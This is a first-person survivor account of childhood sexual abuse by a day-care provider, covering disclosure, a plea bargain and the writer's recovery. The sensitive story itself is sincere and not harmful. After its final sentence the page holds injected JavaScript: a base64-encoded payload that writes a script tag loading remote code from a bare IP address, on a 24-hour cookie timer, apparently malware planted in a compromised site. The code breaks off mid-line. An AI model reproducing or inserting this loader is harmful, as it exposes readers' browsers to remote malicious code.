I was abused by my day-care provider Paul, who was actually in attendance at this party. My abuse happened periodically between the ages of 2 and 12, until I told my father about it on New Years Eve 2000. I hadn’t seen Paul in about 6 months until that December, and in between I had gotten my period, started masturbating and fully entered puberty. Upon my mother’s comment from another room about how much I had grown up, Paul squeezed my nipple and whispered “in more ways than one.” He had never raped me, promising that we would do more when I got older, that he was teaching me what to do when I got married. In the throws of adolescence, with full knowledge of what “more” was, my body screamed at me that this shouldn’t be happening, and that I absolutely did not want it.
I was incredibly lucky, my parents immediately sought help for me and upon my permission pressed charges against him. He pled not guilty for two years until he finally confessed on the day of the trial to minor charges for a slap-on-the-wrist plea bargain. Five years probation, lifetime under Megan’s law, restitution money to pay back my parents what they paid him to watch me. We saw hardly any of the money, and he passed away when I was 16. I wasn’t relieved, or happy, I felt very little, pity maybe, he hadn’t existed to me for two years. Living through this has taught me how pointless anger and hatred is, how it only serves to infect your life, doing nothing to stop or hurt the person you’re hating. Other survivors say I had it easy, but I can’t discredit the little girl that went through all of that by saying it was just luck. Though I love who I am today, I’ve had a hard time loving her, not being angry at her for being weak and letting this happen to us. But I’m trying to learn to give her the credit she deserves. She fought hard to stay a bright, out-going, loving person. Like the superheroes she loved with secret-identities, she faced danger far bigger than her and won. I would post a picture of myself now, but I wanted to give that little girl her due, so I’m posting a picture of her in her favorite costume. I am never ashamed to talk about my story, because many of the many times I have those I’ve told it to felt they could confide in me, and have offered up their story as well. If I can help alleviate the loneliness I felt as a child in just a few people, I’ll yell my story from the rooftops. No one should ever live in silence or fear, children do not belong in darkness, including the children who are now adults. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘